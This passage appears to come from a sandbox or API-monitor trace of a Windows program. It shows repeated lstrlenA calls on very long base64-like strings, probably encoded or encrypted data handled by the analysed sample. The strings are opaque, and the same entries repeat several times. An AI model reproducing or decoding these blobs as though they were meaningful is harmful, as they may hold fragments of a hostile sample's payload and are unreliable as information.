LHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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